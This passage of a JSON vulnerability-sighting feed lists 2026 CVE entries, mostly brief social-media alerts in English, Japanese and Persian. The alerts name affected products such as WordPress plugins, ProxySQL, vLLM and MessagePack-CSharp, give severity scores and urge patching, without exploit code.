Score 6.4) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T07:16:21.461326Z"}, {"uuid": "3745cffc-e297-433a-aa7b-5d86ecf55183", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48584", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3moujlaem3q2m", "content": "CVE-2026-48584 - Critical privilege escalation in Azure Synapse. CVSS 9.9. No patch available. Mitigate immediately. #CVE #Azure #infosec\n\nhttps://www.valtersit.com/cve/CVE-2026-48584/", "creation_timestamp": "2026-06-22T09:01:14.610243Z"}, {"uuid": "2598f428-2e16-42b3-97df-e0e5a7e830e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48964", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3moukgbwje523", "content": "CVE-2026-48964 elex-helpdesk-customer-support-ticket-system (CVSS Score 6.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T09:16:22.349061Z"}, {"uuid": "8ee71851-b4a9-425e-9794-052e2171d4cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48168", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3msfehhourb2w", "content": "PraisonAI <4.6.40 has a CRITICAL CVE-2026-48168 flaw: attackers can exploit GitHub Actions for command injection, risking repo takeover. Upgrade to 4.6.40 ASAP. https://radar.offseq.com/threat/cve-2026-48168-cwe-862-missing-authorization-in-mervinpraison-praisonai-b6d133d881efd541 #OffSeq #CVE202...", "creation_timestamp": "2026-08-06T06:00:29.956986Z"}, {"uuid": "20dead4a-45ef-47f9-bd7b-5996b6b7e307", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-48168", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/117047035642701206", "content": "PraisonAI <4.6.40 is affected by CVE-2026-48168 (CRITICAL, CVSS 10): Missing authorization lets attackers exploit GitHub Actions, execute arbitrary shell commands, and compromise repos. Patch to 4.6.40! https://radar.offseq.com/threat/cve-2026-48168-cwe-862-missing-authorization-in-mervinpraison-praisonai-b6d133d881efd541 #OffSeq #CVE202648168 #SecDevOps", "creation_timestamp": "2026-08-06T06:00:30.871490Z"}, {"uuid": "eb85e74b-7d7d-47b3-b58f-652389b68a40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48887", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mounr4qopd2s", "content": "CVE-2026-48887 js-support-ticket (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T10:16:06.882432Z"}, {"uuid": "b1a62c6b-6985-4da4-880a-ccdaf77bcc9c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48878", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mour4goqj72r", "content": "CVE-2026-48878 visual-link-preview (CVSS Score 4.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T11:16:07.886803Z"}, {"uuid": "7e1b5c9b-0e49-40e1-9040-62ef8d946637", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48558", "type": "seen", "source": "https://bsky.app/profile/aegisbot.bsky.social/post/3moutld5gaj27", "content": "\ud83d\udd0d Top signals this week:\n\nCVEs: CVE-2026-20262, CVE-2026-35273, CVE-2026-39813, CVE-2026-48558, CVE-2026-50656\nActors: Ransomware, Apt, Play\n\nFull intel: https://matlock.ca/cybersecnews", "creation_timestamp": "2026-06-22T12:00:28.290333Z"}, {"uuid": "ba6640e7-b114-4278-ab02-3321b82732cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48772", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3moutqahcyf2j", "content": "CVE-2026-48772 - Critical Unauthorized Access in ProxySQL. CVSS 10.0. Vulnerable versions 2.0.0-3.0.8 accept malformed PROXY UNKNOWN headers, bypassing authentication. No patch available. Upgrade or disable PROXY protocol immediately. #CVE ...\n\nhttps://www.valtersit.com/cve/CVE-2026-48772/", "creation_timestamp": "2026-06-22T12:03:00.082635Z"}, {"uuid": "9674ba59-37d6-4486-96f5-bf5185975b68", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48907", "type": "seen", "source": "https://bsky.app/profile/yazoul-alerts.bsky.social/post/3mouwfnax522r", "content": "\ud83d\udea8 CISA just added another Joomla bug to its active exploits list. That's three this year.\n\nCVE-2026-48907.\n\nhttps://www.yazoul.net/malware/mirai-2026-06/reports/2026-06-21/\n\n#InfoSec #DataBreach", "creation_timestamp": "2026-06-22T12:50:45.103170Z"}, {"uuid": "2fed3e1e-fd00-4467-9579-b8ded17d9c07", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48882", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mouxszodmm2q", "content": "CVE-2026-48882 wp-time-slots-booking-form (CVSS Score 6.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T13:16:08.418911Z"}, {"uuid": "82e6a950-6089-442c-858a-49feb4929cd4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48966", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mov36cdxgj2d", "content": "CVE-2026-48966 funnel-builder (CVSS Score 7.2) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T14:16:07.698623Z"}, {"uuid": "1d5262ba-d12d-437d-9aa4-8ae9e782f12c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48970", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mov6jlwa6l2v", "content": "CVE-2026-48970 really-simple-ssl (CVSS Score 5.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T15:16:08.317926Z"}, {"uuid": "2a17db76-44a3-4471-aecc-f0f329c5438c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48969", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3movbuuut7n2i", "content": "CVE-2026-48969 really-simple-ssl (CVSS Score 4.3) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T16:16:07.768186Z"}, {"uuid": "5e3c0ee4-6382-479d-b6f1-c815c7e67194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48791", "type": "seen", "source": "https://www.incibe.es/incibe-cert/alerta-temprana/vulnerabilidades/cve-2026-48791", "content": "", "creation_timestamp": "2026-08-13T04:15:10.401335Z"}, {"uuid": "6167983b-015d-42cd-b903-d7fbe437b143", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48867", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3movm2czvz423", "content": "CVE-2026-48867 quiz-master-next (CVSS Score 7.2) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-22T19:18:08.318153Z"}, {"uuid": "3331489b-91e9-48e8-abea-55ee68d80b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3movndyisss2u", "content": "CISA Adds One Known Exploited Vulnerability to Catalog\nRelease Date May 26, 2026\n\nCVE-2026-48172 LiteSpeed cPanel Plugin Privilege Escalation Vulnerability", "creation_timestamp": "2026-06-22T19:41:26.218100Z"}, {"uuid": "cd0ed20d-da72-4dc2-b3c9-5904890a3b78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3movngimltc2u", "content": "\u300cLiteSpeed cPanel Plugin\u300d\u306b\u8106\u5f31\u6027 - \u3059\u3067\u306b\u60aa\u7528\u3082\u3001\u4fb5\u5bb3\u6709\u7121\u306e\u78ba\u8a8d\u3092\n\n\u300cLiteSpeed Web Server\u300d\u5229\u7528\u8005\u5411\u3051\u306e\u30d7\u30e9\u30b0\u30a4\u30f3\u300cLiteSpeed cPanel Plugin\u300d\u306b\u6df1\u523b\u306a\u8106\u5f31\u6027\u304c\u5224\u660e\u3057\u305f\u3002\u3059\u3067\u306b\u60aa\u7528\u304c\u78ba\u8a8d\u3055\u308c\u3066\u3044\u308b\u3002\n\n\u540c\u30bd\u30d5\u30c8\u30a6\u30a7\u30a2\u306f\u3001\u300cLiteSpeed Web Server\u300d\u3068\u30db\u30b9\u30c6\u30a3\u30f3\u30b0\u7ba1\u7406\u30c4\u30fc\u30eb\u300ccPanel & WHM\u300d\u3092\u9023\u643a\u3055\u305b\u308b\u305f\u3081\u306e\u30d7\u30e9\u30b0\u30a4\u30f3\u3002\n\n\u300ccPanel\u300d\u306e\u30e6\u30fc\u30b6\u30fc\u30a2\u30ab\u30a6\u30f3\u30c8\u304b\u3089\u3001\u4efb\u610f\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3092root\u6a29\u9650\u3067\u5b9f\u884c\u3067\u304d\u308b\u8106\u5f31\u6027\u300cCVE-2026-48172\u300d\u304c\u660e\u3089\u304b\u3068\u306a\u3063\u305f\u3002", "creation_timestamp": "2026-06-22T19:42:50.176560Z"}, {"uuid": "b7a6b45b-d005-474e-88a6-e50ceec03c29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48172", "type": "seen", "source": "https://bsky.app/profile/getpokemon7.bsky.social/post/3movob4qkzk2u", "content": "CISA\u306f\u3001\u60aa\u7528\u3055\u308c\u305fLiteSpeed cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u30bc\u30ed\u30c7\u30a4\u8106\u5f31\u6027\u306b\u5bfe\u3059\u308b\u5373\u6642\u30d1\u30c3\u30c1\u9069\u7528\u3092\u5f37\u304f\u8981\u8acb\n\nCVE-2026-48172 \uff08CVSS\u30b9\u30b3\u30a29.8\uff09\u3068\u3057\u3066\u8ffd\u8de1\u3055\u308c\u3066\u3044\u308b\u3053\u306e\u8106\u5f31\u6027\u306f\u3001\u653b\u6483\u8005\u304croot\u6a29\u9650\u3067\u4efb\u610f\u306e\u30b9\u30af\u30ea\u30d7\u30c8\u3092\u5b9f\u884c\u3067\u304d\u308b\u53ef\u80fd\u6027\u306e\u3042\u308b\u6a29\u9650\u6607\u683c\u306e\u554f\u984c\u3068\u3057\u3066\u8aac\u660e\u3055\u308c\u3066\u3044\u307e\u3059\u3002\n\nLiteSpeed\u306f\u5148\u9031\u3001\u30e6\u30fc\u30b6\u30fc\u5411\u3051\u30d7\u30e9\u30b0\u30a4\u30f3\u306e\u30d0\u30fc\u30b8\u30e7\u30f32.4.5\u3067\u3053\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u4e0a\u306e\u6b20\u9665\u3092\u4fee\u6b63\u3057\u305f\u3002\u540c\u793e\u306f\u3001\u3053\u306e\u6b20\u9665\u304c\u30bc\u30ed\u30c7\u30a4\u653b\u6483\u3068\u3057\u3066\u5b9f\u969b\u306b\u60aa\u7528\u3055\u308c\u3066\u3044\u305f\u3053\u3068\u3092\u660e\u3089\u304b\u306b\u3057\u305f\u3002LiteSpeed\u306eWHM\u30d7\u30e9\u30b0\u30a4\u30f3\u306f\u5f71\u97ff\u3092\u53d7\u3051\u306a\u3044\u3068\u3057\u3066\u3044\u308b\u3002", "creation_timestamp": "2026-06-22T19:57:47.422627Z"}, {"uuid": "515bc04c-48da-46d1-92b3-ab1623b72805", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48746", "type": "seen", "source": "https://bsky.app/profile/postac001.bsky.social/post/3moweoh5uiy2r", "content": "vLLM 0.3.0-0.22.0\u3067\u3001ASGI\u30b5\u30fc\u30d0\u30fc\u3068starlette\u306e\u4fe1\u983c\u95a2\u4fc2\u306b\u8a8d\u8a3c\u30d0\u30a4\u30d1\u30b9\u306e\u8106\u5f31\u6027\u3002API\u30ad\u30fc\u306a\u3057\u3067API\u5229\u7528\u304c\u53ef\u80fd\u30020.22.0\u3067\u4fee\u6b63\u3002\nCVE-2026-48746 CVSS 9.1 | CRITICAL", "creation_timestamp": "2026-06-23T02:39:02.490990Z"}, {"uuid": "d3c894b9-1f07-423e-87d3-3aafc4771e24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48967", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mow4p6hyif2v", "content": "CVE-2026-48967 geo-mashup (CVSS Score 6.5) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-23T00:16:07.546019Z"}, {"uuid": "bdfaf13e-1a3a-4d17-bbea-0e3e5496371a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48510", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow4treusj2o", "content": "CVE-2026-48510 - MessagePack-CSharp: LZ4 decompression allocates from unbounded declared output lengths\nCVE ID : CVE-2026-48510\n \n Published : June 22, 2026, 9:16 p.m. | 2\u00a0hours, 28\u00a0minutes ago\n \n Description : MessagePack for C# is a MessagePack serializer for C#. Prior to 2....", "creation_timestamp": "2026-06-23T00:18:41.080114Z"}, {"uuid": "aa9d129c-1046-4371-8acb-2a9462159863", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48746", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow4wr4po422", "content": "CVE-2026-48746 - vLLM: OpenAI auth bypass\nCVE ID : CVE-2026-48746\n \n Published : June 22, 2026, 9:57 p.m. | 1\u00a0hour, 46\u00a0minutes ago\n \n Description : vLLM is an inference and serving engine for large language models (LLMs). From 0.3.0 until 0.22.0, a vulnerability in ASGI web se...", "creation_timestamp": "2026-06-23T00:20:21.727159Z"}, {"uuid": "1db80562-09dc-4a7c-abe7-7ec8f41ec799", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48067", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow55cb5tf2k", "content": "CVE-2026-48067 - Filament: Inconsistent scope enforcement for AttachAction and AssociateAction Select fields\nCVE ID : CVE-2026-48067\n \n Published : June 22, 2026, 9:46 p.m. | 1\u00a0hour, 57\u00a0minutes ago\n \n Description : Filament is a collection of full-stack components for accelera...", "creation_timestamp": "2026-06-23T00:24:00.884674Z"}, {"uuid": "73015642-6291-4e6a-a75d-b2e24912a068", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48109", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow5avfblh2o", "content": "CVE-2026-48109 - MessagePack-CSharp: LZ4 decompression may fail with AccessViolationException after dereferencing memory from bad input\nCVE ID : CVE-2026-48109\n \n Published : June 22, 2026, 9:19 p.m. | 2\u00a0hours, 24\u00a0minutes ago\n \n Description : MessagePack for C# is a MessagePac...", "creation_timestamp": "2026-06-23T00:26:01.690987Z"}, {"uuid": "b7792bcc-51b9-4c31-b429-a228ce0cc745", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48166", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow5eqds6w2q", "content": "CVE-2026-48166 - Filament: Timing-based user enumeration on login page\nCVE ID : CVE-2026-48166\n \n Published : June 22, 2026, 9:40 p.m. | 2\u00a0hours, 4\u00a0minutes ago\n \n Description : Filament is a collection of full-stack components for accelerated Laravel development. From 4.0.0 un...", "creation_timestamp": "2026-06-23T00:28:10.488985Z"}, {"uuid": "f8526a77-bf4d-40e0-b426-6cbbda469399", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48506", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow5neb5pq2v", "content": "CVE-2026-48506 - MessagePack-CSharp: MessagePackReader.Skip can recurse without enforcing maximum object graph depth\nCVE ID : CVE-2026-48506\n \n Published : June 22, 2026, 9:17 p.m. | 2\u00a0hours, 26\u00a0minutes ago\n \n Description : MessagePack for C# is a MessagePack serializer for C#...", "creation_timestamp": "2026-06-23T00:32:59.920995Z"}, {"uuid": "3a984043-2e7d-4846-9a56-d9109b8f2de7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48170", "type": "published-proof-of-concept", "source": "https://github.com/thomaspoignant/scim-patch/security/advisories/GHSA-9m6g-wc8r-q59c", "content": "", "creation_timestamp": "2026-05-21T13:04:48.000000Z"}, {"uuid": "0a91347f-1920-47ab-abb7-cb7633f3353c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-48153", "type": "published-proof-of-concept", "source": "https://github.com/Budibase/budibase/security/advisories/GHSA-4q6h-8p4v-67vq", "content": "", "creation_timestamp": "2026-05-21T08:49:32.000000Z"}, {"uuid": "bfad036b-1d8f-43bc-ae4c-73fbd9977b74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48500", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow5xmq4hl2q", "content": "CVE-2026-48500 - Filament: Unauthenticated temporary file upload on auth pages\nCVE ID : CVE-2026-48500\n \n Published : June 22, 2026, 9:41 p.m. | 2\u00a0hours, 2\u00a0minutes ago\n \n Description : Filament is a collection of full-stack components for accelerated Laravel development. From ...", "creation_timestamp": "2026-06-23T00:38:44.476435Z"}, {"uuid": "68d440fc-c451-4fae-a294-4966e2d837dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48509", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mow65lsemi23", "content": "CVE-2026-48509 - MessagePack-CSharp: ASP.NET Core MessagePackInputFormatter defaults to TrustedData for HTTP request bodies\nCVE ID : CVE-2026-48509\n \n Published : June 22, 2026, 9:16 p.m. | 2\u00a0hours, 27\u00a0minutes ago\n \n Description : MessagePack for C# is a MessagePack serializer...", "creation_timestamp": "2026-06-23T00:42:06.524609Z"}, {"uuid": "367078d0-9f22-4b38-9f85-c172e568c262", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48294", "type": "seen", "source": "https://t.me/ics_cert/1416", "content": "\u0631\u0648\u0634 \u062c\u062f\u06cc\u062f\u06cc \u0628\u0631\u0627\u06cc \u062e\u0648\u0627\u0646\u062f\u0646 \u0645\u06a9\u0627\u0644\u0645\u0627\u062a \u062f\u0631 WhatsApp Web \u0627\u0632 \u0637\u0631\u06cc\u0642 \u0627\u0641\u0632\u0648\u0646\u0647 Chrome \u06a9\u0634\u0641 \u0634\u062f\n\n\u0645\u062a\u062e\u0635\u0635\u0627\u0646 \u06cc\u06a9 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u062f\u0631 \u0627\u0641\u0632\u0648\u0646\u0647 Adobe Acrobat \u0628\u0631\u0627\u06cc Chrome \u0634\u0646\u0627\u0633\u0627\u06cc\u06cc \u06a9\u0631\u062f\u0647\u200c\u0627\u0646\u062f \u0648 \u0646\u0627\u0645 \u0622\u0646 \u0631\u0627 HermeticReader \u06af\u0630\u0627\u0634\u062a\u0647\u200c\u0627\u0646\u062f. \u0627\u06cc\u0646 \u0622\u0633\u06cc\u0628\u200c\u067e\u0630\u06cc\u0631\u06cc \u0628\u0627 \u0634\u0646\u0627\u0633\u0647 CVE-2026-48294 (\u0628\u0627 \u062f\u0631\u062c\u0647 \u062e\u0637\u0631 7.4) \u0628\u0647 \u06cc\u06a9 \u0641\u0631\u062f \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0627\u062c\u0627\u0632\u0647 \u0645\u06cc\u200c\u062f\u0627\u062f \u062a\u0627 \u0645\u06a9\u0627\u0644\u0645\u0627\u062a \u062f\u06cc\u06af\u0631\u0627\u0646 \u0631\u0627 \u062f\u0631 WhatsApp Web \u0628\u062f\u0648\u0646 \u0627\u0633\u062a\u0641\u0627\u062f\u0647 \u0627\u0632 \u0646\u0631\u0645\u200c\u0627\u0641\u0632\u0627\u0631\u0647\u0627\u06cc \u0645\u062e\u0631\u0628 \u06cc\u0627 \u0633\u0631\u0642\u062a \u0631\u0645\u0632 \u0639\u0628\u0648\u0631 \u0628\u062e\u0648\u0627\u0646\u062f.\n\n\u0641\u0642\u0637 \u06a9\u0627\u0641\u06cc \u0628\u0648\u062f \u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631 \u0628\u0647 \u06cc\u06a9 \u0635\u0641\u062d\u0647 \u062e\u0627\u0635 \u06a9\u0647 \u0628\u0647 \u0634\u06a9\u0644 \u0646\u062a\u0627\u06cc\u062c \u062c\u0633\u062a\u062c\u0648\u06cc \u0645\u0639\u0645\u0648\u0644\u06cc \u06cc\u0627 \u0644\u06cc\u0646\u06a9\u06cc \u062f\u0631 \u06cc\u06a9 \u0627\u06cc\u0645\u06cc\u0644 \u0637\u0631\u0627\u062d\u06cc \u0634\u062f\u0647 \u0628\u0648\u062f\u060c \u0645\u0631\u0627\u062c\u0639\u0647 \u06a9\u0646\u062f. \u0627\u06cc\u0646 \u0627\u0641\u0632\u0648\u0646\u0647 \u0628\u0647 \u0637\u0648\u0631 \u0646\u0627\u0645\u062d\u0633\u0648\u0633 WhatsApp Web \u0631\u0627 \u062f\u0631 \u06cc\u06a9 \u062a\u0628 \u067e\u0633\u200c\u0632\u0645\u06cc\u0646\u0647 \u0628\u0627\u0632 \u0645\u06cc\u200c\u06a9\u0631\u062f \u0648 \u06cc\u06a9 \u0641\u0631\u0645 \u0645\u062e\u0641\u06cc \u0631\u0627 \u062f\u0631 \u0622\u0646 \u062c\u0627\u0633\u0627\u0632\u06cc \u0645\u06cc\u200c\u06a9\u0631\u062f \u06a9\u0647 \u062a\u0645\u0627\u0645 \u0645\u062a\u0646 \u0642\u0627\u0628\u0644 \u0645\u0634\u0627\u0647\u062f\u0647 \u0635\u0641\u062d\u0647 \u0631\u0627 \u0645\u0646\u062a\u0642\u0644 \u0645\u06cc\u200c\u06a9\u0631\u062f.\n\n\u062f\u0631 \u0646\u062a\u06cc\u062c\u0647\u060c \u0641\u0631\u062f \u063a\u06cc\u0631\u0645\u062c\u0627\u0632 \u0645\u06cc\u200c\u062a\u0648\u0627\u0646\u0633\u062a \u0644\u06cc\u0633\u062a \u0686\u062a\u200c\u0647\u0627\u060c \u0646\u0627\u0645 \u0645\u062e\u0627\u0637\u0628\u06cc\u0646\u060c \u062e\u0644\u0627\u0635\u0647\u200c\u0627\u06cc \u0627\u0632 \u067e\u06cc\u0627\u0645\u200c\u0647\u0627\u060c \u0646\u0627\u0645 \u067e\u0631\u0648\u0641\u0627\u06cc\u0644 \u0642\u0631\u0628\u0627\u0646\u06cc \u0648 \u0645\u062a\u0646 \u0645\u06a9\u0627\u0644\u0645\u0647\u200c\u0627\u06cc \u06a9\u0647 \u0631\u0648\u06cc \u0635\u0641\u062d\u0647 \u0646\u0645\u0627\u06cc\u0634 \u062f\u0627\u062f\u0647 \u0645\u06cc\u200c\u0634\u062f \u0631\u0627 \u0628\u0628\u06cc\u0646\u062f. \u0628\u0631\u0627\u06cc \u0641\u0639\u0627\u0644 \u0634\u062f\u0646 \u0627\u06cc\u0646 \u0641\u0631\u0622\u06cc\u0646\u062f\u060c \u062a\u0646\u0647\u0627 \u06cc\u06a9 \u0628\u0627\u0631 \u06a9\u0627\u0641\u06cc \u0628\u0648\u062f \u06a9\u0647 \u06a9\u0627\u0631\u0628\u0631 \u0628\u0627 \u0635\u0641\u062d\u0647 \u0645\u0648\u0631\u062f \u0646\u0638\u0631 \u062a\u0639\u0627\u0645\u0644 \u062f\u0627\u0634\u062a\u0647 \u0628\u0627\u0634\u062f\u060c \u0628\u062f\u0648\u0646 \u0647\u06cc\u0686 \u0634\u0631\u0637 \u0627\u0636\u0627\u0641\u06cc.\n\n#adobe #whatsapp \n\ud83d\udca1\u0627\u06af\u0631 \u0627\u06cc\u0646 \u0645\u062a\u0646 \u062f\u06cc\u062f\u06af\u0627\u0647 \u0634\u0645\u0627 \u0631\u0627 \u062a\u063a\u06cc\u06cc\u0631 \u062f\u0627\u062f\u060c \u0628\u0627\u0630\u06a9\u0631 \u0645\u0646\u0628\u0639 \u0628\u0647 \u0627\u0634\u062a\u0631\u0627\u06a9 \u0628\u06af\u0630\u0627\u0631\u06cc\u062f. \n\ud83c\udfed\u00a0 \u06a9\u0627\u0646\u0627\u0644 \u062a\u062e\u0635\u0635\u06cc \u0627\u0645\u0646\u06cc\u062a \u0632\u06cc\u0631\u0633\u0627\u062e\u062a\u0647\u0627\u06cc \u0627\u062a\u0648\u0645\u0627\u0633\u06cc\u0648\u0646 \u0648 \u06a9\u0646\u062a\u0631\u0644 \u0635\u0646\u0639\u062a\u06cc\n@pedram_kiani\n\u06a9\u0627\u0646\u0627\u0644 \u062a\u0644\u06af\u0631\u0627\u0645:\nhttps://t.me/ics_cert\n\u06af\u0631\u0648\u0647 \u062a\u0644\u06af\u0631\u0627\u0645 :\nhttps://t.me/ICSCERT_IR\n\u0627\u06cc\u062a\u0627:\nhttps://eitaa.com/joinchat/1866007784Cfd023f90b2\n\u06af\u0631\u0648\u0647 \u062a\u062e\u0635\u0635\u06cc \u0648\u0627\u062a\u0633 \u0627\u067e:\nhttps://chat.whatsapp.com/BZu1yr1aeHpCDxiIXotzyW?mode=ac_t\n\u0628\u0647 